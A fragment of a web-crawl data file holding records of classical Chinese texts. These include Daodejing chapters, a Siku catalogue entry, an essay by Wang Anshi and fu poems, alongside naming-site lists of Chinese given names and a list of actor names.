入死。生之徒十有三。死之徒十有三。而民生生。勭皆之死地之十有三。夫何故也。㕥亓生生也。蓋聞善执生者。陵行不辟兕虎。入軍不被甲兵。兕无所椯亓角。虎无所昔亓蚤。兵无所容亓刃。夫何故也。㕥亓无死地焉。\n道生之而德蓄之。物刑之而器成之。是㕥萬物尊道而貴德。道之尊德之貴也。夫莫之爵而恆自祭也。道生之。蓄之。長之。遂之。亭之。毒之。養之。覆之。生而弗有也。爲而弗寺也。長而弗宰也。此之謂玄德。\n天下有始。㕥爲天下母。既得亓母。㕥知亓子。既得知亓子。復守亓母。没身不殆。塞亓悶。閉亓門。终身不堇。啟亓悶。濟亓事。终身不棘。見小曰明。守柔曰强。用亓光。復歸亓明。毋遺身央。是胃襲常。\n使我潔有知也。行於大道。唯他是畏。大道甚夷。民甚好解。朝甚除。田甚芜。倉甚虚。服文采。带利劍。猒食而齍財有餘。是謂盜杅。非道也。\n善建者不拔。善抱者不脱。子孫㕥祭祀不絕。脩之身。亓德乃眞。脩之家。亓德有餘。脩之鄉。亓德乃長。脩之邫。亓德乃夆。脩之天下。亓德乃愽。㕥身觀身。㕥家觀家。㕥鄉觀鄉。㕥邫觀邫。㕥天下觀天下。吾何㕥知天下之然茲。㕥此。\n含德之厚者。比於赤子。逢蝲猬蛇弗螫。攫鳥猛獸弗搏。骨弱筋柔而握固。未知牝牡之會而朘怒。精之至也。終日號而不憂。和之至也。和曰常。知和曰明。益生曰详。心使氣曰强。物壮則老。胃之不道。不道蚤已。\n知者弗言。言者弗知。塞亓悶。閉亓門。和亓光。同亓尘。銼亓兑。解亓紛。是胃玄同。故不可得而親。亦不可得而疏。不可得而利。亦不可得而害。不可得而貴。亦不可得而賤。故爲天下貴。\n㕥正之邫。㕥畸用兵。㕥无事取天下。吾何㕥知亓然也哉。夫天下多忌諱。而民彌貧。民多利器。而邫家茲昬。人多知。而奇物茲起。法物茲章。而盗賊多有。是㕥聖人之言曰。我无爲而民自化。我好静而民自正。我无事民自富。我欲不欲而民自樸。\n亓正契契。亓邫屯屯。亓正察察。亓邫夬夬。旤福之所倚。福 旤之所伏。孰知亓極。亓无正也。正復爲奇。善復爲訞。人之迷也。亓日固乆矣。是㕥方而不割。兼而不刺。直而不紲。光而不眺。\n治人事天。莫若嗇。夫唯嗇。是㕥蚤服。蚤服是胃重積德。重積德則无不克。无不克則莫知亓極。莫知亓極可㕥有國。有國之母可㕥長乆。是胃深槿固氐。長生乆視之道也。\n治大國。若亨小鮮。㕥道立天下。亓鬼不神。非亓鬼不神也。亓神不傷人也。非亓神不傷人也。聖人亦弗傷也。夫两不相傷。故德交歸焉。\n大邫者下流也。天下之牝也。天下之郊也。牝恆㕥靚勝牡。爲亓靚也。故宜爲下也。故大邫㕥下小邫。則取小邫。小邫㕥下大邫。則取於大邫。故或下㕥取。或下而取。故大邫者。不過欲兼畜人。小邫者。不過欲入事人。夫皆得亓欲。則大者宜爲下。\n道者。萬物之注也。善人之葆也。不善人之所葆也。美言可㕥市。尊行可㕥賀人。人之不善也。何棄之有。故立天子。置三卿。雖有共之璧。㕥先四馬。不善坐而進此。古之所㕥貴此者何也。不胃求㕥得。有罪㕥免與。故爲天下貴。\n爲无爲。事无事。味无未。大小多少。報怨㕥德。圖難乎亓易也。爲大乎亓細也。天下之難作於易。天下之大作於細。是㕥聖人冬不爲大。故能成亓大。夫輕若必寡信。多易必多難。是㕥聖人猷難之。故冬於无難。\n亓安也。易持也。亓未兆也。易謀也。亓脆也。易判也。亓微也。易散也。爲之乎。亓未有也。治之乎。亓未亂也。合抱之木。生於毫末。九成之薹。作於羸土。百仁之高。台於足下。爲之者敗之。執之者失之。是㕥聖人无爲也。故无敗也。无執也。故无失也。民之從事也。恆於亓成事而敗之。故愼終若始。則无敗事矣。是㕥聖人欲不欲而不貴難得之貨。學不學。而復眾人之所過。能輔萬物之自然而弗敢爲。\n故曰爲道者非㕥明民也。将㕥愚之也。民之難治也。㕥亓知也。故㕥知知邫。邫之賊也。㕥不知知邫。邫之德也。恆知此两者。亦稽式也。恆知稽式。此胃玄德。玄德深矣。遠矣。與物反矣。乃至大顺。\n江海所㕥能爲百浴王者。㕥亓善下之。是㕥能爲百浴王。是㕥聖人之欲上民也。必㕥亓言下之。亓欲先民也。必㕥亓身後之。故居前而民弗害也。居上而民弗重也。天下樂推而弗猒也。非㕥亓无諍與。故天下莫能與諍。\n小邫寡民。使十百人之器毋用。使民重也而遠送。有車周无所乘之。有甲兵无所陳之。使民復結繩而用之。甘亓食。美亓服。樂亓俗。安亓居。鄰邫相朢。鷄狗之聲相聞。民至老死不相往來。\n信言不美。美言不信。知者不博。博者不知。善者不多。多者不善。聖人无積。旣㕥爲人己愈有。旣㕥予人己愈多。故天之道。利而不害。人之道。爲而弗争。\n天下皆謂我大。不宵。夫唯大。故不宵。若宵。細乆矣。我恆有三寶之。一曰茲。二曰檢。三曰不敢爲天下先。夫茲故能勇。檢故能廣。不敢爲天下先。故能爲成事長。今舍亓茲且勇。舍亓後且先。則必死矣。夫茲。㕥戰則勝。㕥守則固。天将建之。女㕥茲垣之。\n善爲士者不武。善戰者不怒。善勝敵者弗與。善用人者爲之下。是胃不諍之德。是胃用人。是胃肥天。古之極也。\n用兵有言曰。吾不敢爲主而爲客。吾不進寸而芮尺。是胃行无行。襄无臂。執无兵。乃无敵矣。旤莫大於無敵。無敵近亾吾葆矣。故稱兵相若。則哀者勝矣。\n吾言甚易知也。甚易行也。而人莫之能知也。而莫之能行也。言有君。事有宗。夫唯无知也。是㕥不我知。知者希。則我貴矣。是㕥聖人被褐而裹玉。\n知不知。尚矣。不知不知。病矣。是㕥聖人之不病。㕥亓病病也。是㕥不病。\n民之不畏畏。則大畏将至矣。毋閘亓所居。毋猒亓所生。夫唯弗猒。是㕥不猒。是㕥聖人自知而不自見也。自愛而不自貴也。故厺被取此。\n勇於敢者則殺。勇於不敢者則栝。此兩者或利或害。天之所惡。孰知亓故。天之道。不戰而善勝。不言而善應。不召而自來。彈而善謀。天網恢恢。疏而不失。\n若民恆不畏死。奈何㕥殺愳之也。若民恆是死。則而爲者。吾将得而殺之。夫孰敢矣。若民恆且必畏死。則恆有司殺者。夫伐司殺者殺。是伐大匠斲也。夫伐大匠斲者。則希不傷亓手矣。\n人之飢也。㕥亓取食稅之多也。是㕥飢。百姓之不治也。㕥亓上有㕥爲也。是㕥不治。民之輕死。㕥亓求生之厚也。是㕥輕死。夫唯无㕥生。爲者是賢貴生。\n人之生也柔弱。亓死也互仞賢强。萬物草木之生也柔脆。亓死也枯薧。故曰。堅强者。死之徒也。柔弱微細。生之徒也。兵强則不勝。木强則恆。强大居下。柔弱微細居上。\n天下之道。猶張弓者也。高者印之。下者舉之。有餘者損之。不足者補之。故天之道。損有餘而補不足。人之道則不然。損不足而奉有餘孰能有餘而有㕥取奉於天者乎。唯有道者乎。是㕥聖人爲而弗有。成功而弗居也。若此亓不欲見賢也。\n天下莫柔弱於水。而攻堅强者莫之能先也。㕥亓无㕥易之也。水之勝剛也。弱之勝强也。天下莫弗知也。而莫之能行也。故聖人之言云。曰受邫之詬。是胃社稷之主。受邫之不祥。是胃天下之王。正言若反。\n和大怨。必有餘怨。焉可㕥爲善。是㕥聖右介而不㕥責於人。故有德司介。无德司勶。夫天道无親。恆與善人。","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/www.hxwmzsf.com\/forum\/t208.html","date":"2023-09-23T21:45:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233506528.3\/warc\/CC-MAIN-20230923194908-20230923224908-00305.warc.gz","language":"lzh","language_score":0.4871996343,"language_script":"Hani","minhash_cluster_size":6,"top_langs":"{\"lzh_Hani_score\": 0.4871996343135834, \"cmn_Hani_score\": 0.28958892822265625, \"nan_Hani_score\": 0.08024261146783829, \"jpn_Jpan_score\": 0.05421150475740433, \"wuu_Hani_score\": 0.049074769020080566, \"yue_Hani_score\": 0.012835080735385418}","num_words":51,"character_repetition_ratio":0.001,"word_repetition_ratio":0.0,"special_characters_ratio":0.183,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.487,"perplexity_score":500.0,"cluster_detection":1} +{"text":"姓聞的好聽的女孩名字有哪些呢?名字是孩子一生中最忠實可靠的朋友,無論春風得意,抑或秋雨梧桐,名字都與孩子相依相守,不離不棄。那姓聞的女寶寶該取什麼樣的名字,下面姓名網為大傢介紹,姓聞的好聽的女孩名字!\n姓聞的好聽的女孩名字\n聞若琳 聞希琳 聞莉斌 聞婧懿 聞燕群 聞美萍 聞伊潔 聞問麗 聞秀雋 聞英麗 聞歆怡 聞文婷 聞如嫣 聞知英 聞玲如 聞妍宜 聞瑞文 聞茹萱 聞有瓊 聞鈺瑤 聞紅花 聞想蓉 聞艾紅 聞俊瑤 聞妙霞 聞炳倩 聞潔玉 聞錳瑤 聞倩熙 聞心怡 聞月芬 聞欣潔 聞怡成 聞鑫冉 聞雙麗 聞婷扉 聞香玲 聞潤英 聞悅 聞恒文 聞恒玉 聞歆悅 聞寶文 聞文娟 聞路芳 聞利娟 聞如嫣 聞開梅 聞治蓉 聞佳婧 聞曉穎 聞榆英 聞芬滎 聞燕飛 聞亞麗 聞方文 聞妍淇 聞鈺霞 聞琳雅 聞桂紅 聞十文 聞伊文 聞海悅 聞琳貴 聞琳發 聞遽嫣 聞鉦琳 聞凈冉 聞瑞娟 聞然悅 聞謝穎 聞森萍 聞樂怡 聞美霞 聞穎倩 聞立文 聞瀟悅 聞怡君 聞心妍 聞瑯琳 聞斐文 聞粉麗 聞明玲 聞國玲 聞曼怡 聞秀英 聞曦玉 聞瑯秀 聞紅 聞棗花 聞爰媛 聞衛紅 聞單婷 聞鍵芳 聞德玉 聞丞瑤 聞青玉 聞琦燕 聞新芳 聞喜梅 聞思秀 聞敏倩 聞秀伊 聞靈燕 聞清悅 聞卓潔 聞婧茹 聞玲玉 聞樂怡 聞亞琴 聞倩茜 聞輝艷 聞銣玉 聞之媛 聞渝婷 聞芊霞 聞祖文 聞霏怡 聞利芳 聞嚴妍 聞玲莉 聞芳 聞夢麗 聞祺文 聞咨文 聞劭婷 聞月梅 聞宣婷 聞語嫣 聞海芬 聞芳瑩 聞婕玲 聞瓊嬋 聞秋玲 聞婭維 聞紫妹 聞含嫣 聞兆英 聞悅然 聞洛雪 聞諧倩 聞美玲 聞玉瑩 聞婧婷 聞秋娟 聞婧安 聞伊琳\n聞妍聰 聞姝媛 聞柯文 聞婧玉 聞朝艷 聞巧娟 聞佳瓊 聞思穎 聞倩盈 聞佳秀 聞世花 聞怡琨 聞靜瑤 聞二英 聞莉英 聞怡心 聞文穎 聞娟萍 聞旭蓉 聞歌瑤 聞書文 聞玲樂 聞啟玉 聞益媛 聞語蓉 聞妍彥 聞傑瑩 聞興蓉 聞彩霞 聞世芳 聞小麗 聞瑤妮 聞婷薇 聞瓊文 聞勻霞 聞笑怡 聞世英 聞艷艷 聞婉琳 聞悅妍 聞連玉 聞碧娟 聞琳祁 聞婷藝 聞梵瑩 聞渝婭 聞麗娜 聞倩嘉 聞苒萍 聞旭婷 聞倩影 聞茗潔 聞潤婷 聞文芳 聞清瑤 聞軒文 聞惠茹 聞淑霞 聞娣娜 聞冬霞 聞瑾艷 聞少麗 聞琴玲 聞孟婷 聞容娜 聞圓芳 聞瀚娜 聞之瑤 聞梓媛 聞藝玲 聞麥英 聞顯文 聞璨瑤 聞茹丹 聞洛婷 聞茹穎 聞芮媛 聞夢娜 聞俅英 聞荷芬 聞欣蓉 聞雲霞 聞欣萍 聞瑩珠 聞端花 聞悅欣 聞愛麗 聞尚媛 聞大瑩 聞錦芳 聞琳軍 聞燕麗 聞傢琴 聞妍琪 聞詩悅 聞悅私 聞菡梅 聞端英 聞鳳琴 聞悅瑞 聞晏瓊 聞茹童 聞馨瑩 聞景茹 聞晴琳 》》還是沒有找到滿意的名字?不妨問問大師。\n聞瑩芊 聞婉婷 聞媛雯 聞艷 聞慧芳 聞淑婧 聞輝文 聞睿潔 聞丹麗 聞熙文 聞靈琳 聞婭秀 聞敏燕 聞琳娜 聞紅英 聞美瓊 聞先艷 聞瑋琳 聞洪文 聞婷婷 聞生瑤 聞夕琳 聞湘婷 聞學娟 聞永芳 聞敏娜 聞瑩倩 聞彥霞 聞晗悅 聞利艷 聞照瓊 聞邁倩 聞洪梅 聞仁艷 聞歡娜 聞培穎 聞丹紅 聞蓉 聞淑娜 聞倩腺 聞淇文 聞懿悅 聞湘玉 聞丹婷 聞怡維 聞霏婷 聞亮倩 聞倩映 聞霞露 聞書娟 聞倩靚 聞旭娜 聞燕萍 聞恨文 聞結文 聞慶莉 聞婷婷 聞欣穎 聞子艷 聞芬蒂 聞博紅 聞增艷 聞芷倩 聞一雪 聞琪娟 聞依倩 聞電芳 聞曖嬋 聞婧霏 聞曼玉 聞慶穎 聞益芳 聞亞麗 聞婧瑾 聞德玲 聞雪婷 聞線瑩 聞依雪 聞明英 聞江婷 聞明娟 聞立艷 聞婧淑 聞怡果 聞濺芳 聞麗娟 聞麗妍 聞明艷 聞丹萍 聞星玉 聞芩妍 聞鳳艷 聞麗琴 聞德英 聞妹霖 聞惠妍 聞莉樺 聞霞 聞玉耕 聞文涵 聞亞蓉 聞文燕 聞怡帆 聞艷艷 聞逸雪 聞一婷 聞奕萍 聞靜霞 聞玉蓉 聞婷慰 聞匯文 聞媛秀 聞美娜 聞陽美 聞麗娟 聞碧秀 聞麟琳 聞孜麗 聞丹玲 聞寅燕 聞永琴 聞子茹 聞婧弘 聞瑜蓉 聞秀麗 聞婉琳 聞如玉 聞曉霞 聞奕潔 聞潔 聞萍 聞淳婷 聞素英 聞燕清 聞好麗 聞振美 聞逸瑩 聞雙美 聞懷娟 聞婷天 聞琳之 聞慧茹 聞會琴 聞冬娜 聞美芳 聞慧婧 聞玲琳 聞燕\n姓氏源流 聞(Wén 聞)姓源流純正,源出有一:\n出自復姓聞人氏,是春秋時期少正卯的後代。少正卯是春秋末葉魯國人。他博學多識,很有名氣。他的有些主張與孔子不合,曾聚眾講學,同孔子唱對臺戲,使得孔子的不少弟子都跑到少正卯處聽講。後來孔子利用職權殺瞭少正卯。因少正卯是當時聲譽很大、遠近聞名的人,被譽為\"聞人\",所以他的後代支庶子孫有的便改為聞人氏。後有一部分聞人復姓改為單姓聞,稱為聞姓。(責任編輯:八字免費算命網)","id":"","dump":"CC-MAIN-2017-43","url":"http:\/\/www.share4tw.com\/archives\/285929","date":"2017-10-17T09:58:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-43\/segments\/1508187821017.9\/warc\/CC-MAIN-20171017091309-20171017111309-00479.warc.gz","language":"lzh","language_score":0.9942768216,"language_script":"Hani","minhash_cluster_size":8,"top_langs":"{\"lzh_Hani_score\": 0.9942768216133118}","num_words":407,"character_repetition_ratio":0.002,"word_repetition_ratio":0.0,"special_characters_ratio":0.232,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.994,"perplexity_score":500.0,"cluster_detection":1} +{"text":"經部三十 春秋類存目一\n春秋透天關 四卷\n永樂大典本\n舊本題晏兼善撰。不著時代。據其兼及合題。是元人也。其書專爲場屋而作。義殊膚淺。如解元年春王正月云。若就春字正月上用工。則春者天之所爲。聖人紀人道之始。全以天道王道立說亦可云云。則一書之大指可知矣。","id":"","dump":"CC-MAIN-2018-26","url":"http:\/\/kanji.zinbun.kyoto-u.ac.jp\/db-machine\/ShikoTeiyo\/0060201.html","date":"2018-06-24T16:41:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-26\/segments\/1529267866984.71\/warc\/CC-MAIN-20180624160817-20180624180817-00627.warc.gz","language":"lzh","language_score":0.53536731,"language_script":"Hani","minhash_cluster_size":9,"top_langs":"{\"lzh_Hani_score\": 0.5353673100471497, \"cmn_Hani_score\": 0.34364718198776245, \"jpn_Jpan_score\": 0.03795526549220085, \"nan_Hani_score\": 0.028282495215535164, \"yue_Hani_score\": 0.02501933090388775, \"wuu_Hani_score\": 0.011346369050443172}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.16,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.535,"perplexity_score":500.0,"cluster_detection":1} +{"text":"楊薦字說\n楊君以其所名薦,請字於余。余字之尊,已而告之曰:古之君子,佩玉而服,戴冕而垂旒,一獻之禮,賓主百拜,俯僂而後食。夫所為飲食者,為飽也;所為衣服者,為暖也。若直曰飽暖而已,則夫古之君子,其無乃為紛紛而無益,迂闊而過當耶?蓋君子小人之分,生於足與不足之間。若是足以已矣,而必為之節文。故其所以養其身者甚周,而其所以自居者甚高而可畏,凜乎其若處女之在閨也,兢兢乎其若懷千金之璧而行也。夫是以不仁者不敢至於其墻,不義者不敢過其門。惟其所為者,止於足以已矣之間,則人亦狎之而輕,加之以不義。由此觀之,凡世之所謂紛紛而無益、迂闊而過當者,皆君子之所以自尊也。《易》曰:「藉用白茅,無咎。」孔子曰:「茍錯諸地而可矣。」藉之用茅,何咎之有?地非不足錯也,而必茅之為藉,是君子之過以自尊也。予欲楊君之過以自尊,故因其名薦而取諸《易》以為之字。楊君有俊才,聰明果敢有過於人,而余獨憂其所以自愛重者不至而已矣。\n|本北宋作品在全世界都属于公有领域,因为作者逝世已经遠遠超过100年。|","id":"","dump":"CC-MAIN-2019-39","url":"https:\/\/zh.wikisource.org\/wiki\/%E6%A5%8A%E8%96%A6%E5%AD%97%E8%AA%AA","date":"2019-09-18T15:25:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-39\/segments\/1568514573309.22\/warc\/CC-MAIN-20190918151927-20190918173927-00190.warc.gz","language":"lzh","language_score":0.5937203169,"language_script":"Hani","minhash_cluster_size":4,"top_langs":"{\"lzh_Hani_score\": 0.5937203168869019, \"cmn_Hani_score\": 0.33534085750579834, \"nan_Hani_score\": 0.042038340121507645, \"wuu_Hani_score\": 0.016080867499113083}","num_words":3,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.158,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.68,"perplexity_score":500.0,"cluster_detection":1} +{"text":"本站提示:以下提供的所有名字僅供參考,並非針對八字分析後的權威結果,請仔細斟酌後在套用。\n諸翊愷 諸悒愷 諸苡愷 諸依愷 諸薏愷 諸嫻愷 諸莧愷 諸莘愷 諸馨愷 諸芯愷 諸欣愷 諸姿愷 諸纖愷 諸琪愷 諸寶 諸葆 諸茜愷 諸岍愷 諸芡愷 諸芊愷 諸依林 諸伽羽 諸鳴銘 諸壹銘 諸逸銘 諸銘銘 諸一銘 諸泓旭 諸虹旭 諸彥旭 諸高毅 諸建清 諸高忱 諸高岑 諸高晨 諸高辰 諸虹瑕 諸榮斌 諸亦斌 諸綠彤 諸辰彤 諸若彤 諸樂彤 諸淑彤 諸洪國 諸連榮 諸丹彤 諸穎瑋 諸舒彤 諸維維 諸佳妮 諸佳筠 諸希彤 諸嘉欣 諸嘉彤 諸含韻 諸靚影 諸欣彤 諸憶彤 諸想男 諸憶羅 諸紅偉 諸奕廷 諸挺 諸克新 諸毅君 諸克勇 諸亭蘭 諸奕蘭 諸小琦 諸耘秀 諸俞資 諸彥楠 諸秋妙 諸八七 諸九七 諸一七 諸漢野 諸辰佳 諸佳嫻 諸炳南 諸南炳 諸琦暉 諸思辰 諸暉灝 諸啟洋 諸豪 諸慧佳 諸佳慧 諸欣慧 諸慧欣 諸佳宇 諸宇佳 諸佳彤 諸佟佟 諸靚靚 諸艾格 諸小敏 諸威彤 諸正屹 諸遵安 諸躍允 諸躍仁 諸則易 諸則均 諸則宏 諸則宇 諸則余 諸宸筱 諸愛珍 諸佳易 諸佳成 諸侑承 諸佳鑫 諸嘉鑫 諸易行 諸一凡 諸嘉宇 諸啟鑫 諸啟銘 諸易航 諸葛良 諸小牛 諸德法 諸才博 諸思彤 諸闐笈 諸思遠 諸亭吟 諸樂雁 諸歡雁 諸愛軍 諸澤匯 諸葛魚 諸永業 諸明坤 諸秒均 諸錫坤 諸映櫻 諸裕良 諸亞頡 諸雅頡 諸福盛 諸明標 諸煒立 諸雅婕 諸亞婕 諸麗媚 諸有信 諸永龍 諸奕錦 諸銳 諸惠增 諸佳夢 諸金海 諸皓銘 諸浩銘 諸向銘 諸樂銘 諸秋冶 諸晰 諸博飛 諸奇崢 諸蒙旦 諸湘 諸於銘 諸羿愷 諸荑愷 諸艾愷 諸則羽 諸春招 諸宸煒 諸佳佳 諸宇凡 諸宸御 諸宸煜 諸宸裕 諸宸鈺 諸宸育 諸宸蕭 諸宸笑 諸嗣凡 諸司凡 諸思凡 諸宸危 諸宸維 諸思維 諸思威 諸思危 諸晨宇 諸蒸淵 諸松昀 諸松易 諸送易 諸升昀 諸升易 諸承 諸育彤 諸文浩 諸軒靖 諸哲駿 諸彥成 諸帥岑 諸高宸 諸泓辰 諸唯珍 諸希哲 諸雙霜 諸穎霜 諸穎寒 諸彩雲 諸欣雲 諸月兒 諸月丫 諸芸月 諸芸墨 諸雲墨 諸月晗 諸欣月 諸含月 諸敏月 諸晗月 諸寒月 諸涵月 諸希月 諸喜月 諸星月 諸雯婕 諸東東 諸冬冬 諸靈雯 諸奕名 諸冠宇 諸彥霖 諸劍飛 諸金 諸亞蓮 諸文卉 諸芮容 諸睿容 諸芮瀅 諸雨軒 諸雨茉 諸茉涵 諸雨欣 諸晴清 諸墨雅 諸瓊海 諸露蓓 諸墨佳 諸希 諸墨杏 諸墨希 諸墨語 諸墨萱 諸墨宣 諸墨鏇 諸墨岑 諸敏軒 諸墨研 諸墨言 諸墨羽 諸墨靜 諸墨寧 諸越霓 諸露軒 諸寒軒 諸瑾軒 諸墨軒 諸文哲 諸墨然 諸紫墨 諸小墨 諸沅棋 諸雪妮 諸栩涵 諸芸佩 諸瀾海 諸汶杏 諸吉享 諸幸月 諸妤吟 諸沅杏 諸婉 諸佩岑 諸墨寒 諸雨涵 諸穎墨 諸雪兒 諸筱默 諸瑾涵 諸語墨 諸語涵 諸承偉 諸顏 諸莞尹 諸子月 諸月霓 諸穎夕 諸敏惠","id":"","dump":"CC-MAIN-2020-24","url":"https:\/\/dr.itsfun.com.tw\/xingming\/mzdq\/5738.html","date":"2020-05-28T16:13:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-24\/segments\/1590347399820.9\/warc\/CC-MAIN-20200528135528-20200528165528-00213.warc.gz","language":"lzh","language_score":0.9999631643,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.9999631643295288}","num_words":301,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.249,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"威於司馬兮,卒殞聲以《淮南》。睚訴死於婆娑兮,悲綽 約之亦殲。彼章程之詭嘯兮,既𥈭眙於甲夜。何仲御 之清激兮,而亦云駭夫觀者。紛回穴其莫識兮,泮千 載而跡陳。思苗山猶若茲兮,又何悲「乎曲水。」惟鄭公 之志約兮,逢神人焉靡求。山岪峍而《谷紆》兮,風瀏瀏 乎旦暮耿。「吾何不可留此土兮,切悲越人之機。豈其 食鮭而化音兮,無所用吾之緌。」冬朦朦其多雨兮,夏 癉熱以生蠚。溪水之淺深兮,舟上下而擊石。吾遵夏 蓋之山兮,聊以觀乎遠海。吾先子之初服兮,羌董道 而不改。小人之有心兮,猶不假器。末余從於東安兮, 依哲人而聞誼。蜀蘇子之有廛兮,漢遺化而多儒。往 者其不可及兮,曷不從子之廬?朝余食兮山中,夕余 宿兮江上。悲世俗之近市兮,余安能忍而與之皆往? 余令樓李為右兮,使王良前余世解轡而馳石兮,緬 余得此坦塗。良吾輈使環灂兮,密吾牙使樸屬。攬九 州而願懷兮,夫安知余力之不足。遘余生之罹憫兮, 歸將母乎故都。伏里門而畏鄰兮,幽獨守此四隅。時 命大謬兮,吾遑遑欲何之?慨永夏之宜養兮,霜薆然 其萃之。增《歔欷》以啜泣兮,殺身其安可。宇摧榮而藩 穴兮,知鼠去而不舍。憯四序之不淹兮,春藹藹其既 非。攬卉木猶若茲兮,吾獨不聊此時。悲予仲之婉孌 兮,饒其心以《詩禮》。吾不能操嬴而坐閭兮,耘東山而 自食。歲旱暵而不雨兮,螟又生余之場。屬歲秋之有 穀兮,河出濆而湯湯。於陵子之終褊兮,井上李其猶 飽。服芬芬而潔腹兮,夫豈不足以忘老?眾虒豸而好 朝兮,咸得時而的歷。持衣裳而鬻暑兮,余固知余賈 之不售。思遐舉而莫從兮,心紆軫而衋傷。訊黃石以 吉凶兮,棋十二而星羅。曰「由小基大兮,何有顛沛?既 非初志之敢期兮,曾何以知其所繫?」沬清濟以去垢 兮,芝九莖而為華。宵倚楹而悲咤兮,疇獨憂余之無 家?蕭苑候之慷慨兮,孰云非食之故?濟澶淵之靈津 兮,橫中流而飆怒。思城闕之佻達兮,勉踵夫昔之人。 羿之志於彀兮,亦反求夫全身。小人不知學《禮》兮,畏 罪罟之所尋。宋七世之炳靈兮,皇純佑此下土。舉賢 而授能兮,哀煢獨此黎庶。牧羊而肥兮,式亦用而有 聞。辟雍之洋洋兮,宇干日而糾紛。連衽以成雲兮,汗 而為雨。豈余不足於周門兮,獨惆悵而延佇。先事而 後得兮,惟其食者之責。舉九鼎於鯢淵兮,亦人假夫 一臂。余張子之好修兮,蹇博大而無朋。雪霏而宇凍 兮,松柏不改其青固。黃子嘗語余兮,曰此是為明月。 雖工師不以佩兮,保厥美亦未艾。彼喔吚為已甚兮, 羌浮石而沈木。子雲之好思兮,亦眾誶其寂寞。虞氏 之為政兮,舉五臣而與言。彼霡霂之射谷兮,何足以 容江潭之鱣。眾不察余之情兮,求余初猶未沫。超孤 舉而遠尋兮,唯夫不足以論世。良恫韓而成漢兮,皓 保惠而悟高。成功則去兮,曾何足以介其一毛融躬 行既卒驕兮,禹服義亦太靡。陳輜車與乘馬兮,桓榮 亦酋乎冨貴。蕃居室以不理兮,滂之志以四海。元膺 之激烈兮,羌不以生而害義。意豈弟神所嘏兮,何以 罹此不祥?豈其莫忍?鄰之捽兮,紛救鬥而得傷。嘉林 宗之善裁,要成敗而不失。寧遵不知時之可為兮,行 漁瀨以畢世。喟嵇康之蹈盡兮,愧孫子其安補。阮清 舌而咎目兮,潛固自識而遠去。謂道不可為兮,為者 敗之。眾窢然咸不留兮,惟至人焉在之。泮千祀而語 鄰兮,孰與至人之服。意神龍之乘雲兮,吾欲從焉以 足?士生各有遇兮,吾何為侘傺乎此時?曾藿菽不足 以化兮,求余身其庶幾。滋蘭以旨蓄兮,菊以為糗。修 忠信以抑躁兮,夫安知余之後圖?前聖吾永賴兮,攬 百子與並輿。時翱翔於道奧兮,歷年歲以為娛。\n《擬騷賦》〈有序〉李綱\n昔屈原放逐,作《離騷經》,正潔耿介,情見乎辭。然而託物喻意,未免有譎怪怨懟之言。故識者謂體慢於三代,而風雅於戰國,乃《雅》《頌》之博徒,而詞賦之英傑,不其然歟?予既以愚觸罪,久寓謫所,因效其體,攄思屬文,以達區區之志,取其正潔耿介之義,去其譎怪怨懟之言,庶幾不詭於聖人,目之曰「擬騷。」 其辭曰:\n「帝混元之苗裔兮,歷漢唐而揚英。散枝葉於天壤兮, 遭五季而遯族於甌閩。皇祖隱德而弗耀兮,逮吾親 而振名。歲昭陽之淵獻兮,閏夏甲申吾以降。」幼倥侗 而顓蒙兮,非岐嶷之夙成。長遊學於四方兮,爰觀光 於國賓。服《詩》《禮》之嚴訓兮,傳忠孝之家聲。攬百氏之 所長兮,味《六經》之純精。常恐不德以怨及朋友兮,慕 「節義於古人。豈富貴之足志兮,冀斯文之可鳴。」帶長 鋏而峨冠兮,鏘佩玉而琚瓊。紉蘭蓀之香潔兮,服蕙 茞之芳馨。紛吾既襲此眾美兮,胡敢自謂之修能。誤 姓名之上達兮,珥史筆於彤庭。侍穆穆之清光兮,聞 玉音之丁寧。入則陪國論於青瑣兮,出則扈屬車之 清塵。惟丘山之恩厚兮,何涓埃之報輕。悼姦邪之亂 政兮,汨正理而不明。竊懷憤而鬱結兮,每欲叩龍墀 而力爭。惟本朝之寬大兮,非有鼎鑊斧鉞之刑。何群","id":"","dump":"CC-MAIN-2020-34","url":"https:\/\/zh.m.wikisource.org\/wiki\/Page:Gujin_Tushu_Jicheng,_Volume_390_(1700-1725).djvu\/30","date":"2020-08-13T12:21:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-34\/segments\/1596439738982.70\/warc\/CC-MAIN-20200813103121-20200813133121-00054.warc.gz","language":"lzh","language_score":0.8544749022,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.8544749021530151, \"nan_Hani_score\": 0.06992102414369583, \"cmn_Hani_score\": 0.04108572378754616}","num_words":76,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.186,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.406,"perplexity_score":500.0,"cluster_detection":1} +{"text":"loading...\n黃智雯 袁偉豪 陳智燊 黃淑儀 孫慧雪 郭子豪 林秀怡 林景程 周梓盈 鍾志光 利穎怡 周志康 李國麟 梁舜燕 蘇恩磁 張明偉 郭田葰 魯振順 曾偉權 徐玟晴 譚坤倫 趙永洪 袁鎮業 關浩揚 周麗欣 李璧琦 郭千瑜 許家傑 張漢斌 曾慧雲 蕭徽勇 吳偉豪 曹思詩 招浩明 蘇麗明 陳建文 梁證嘉 王致迪 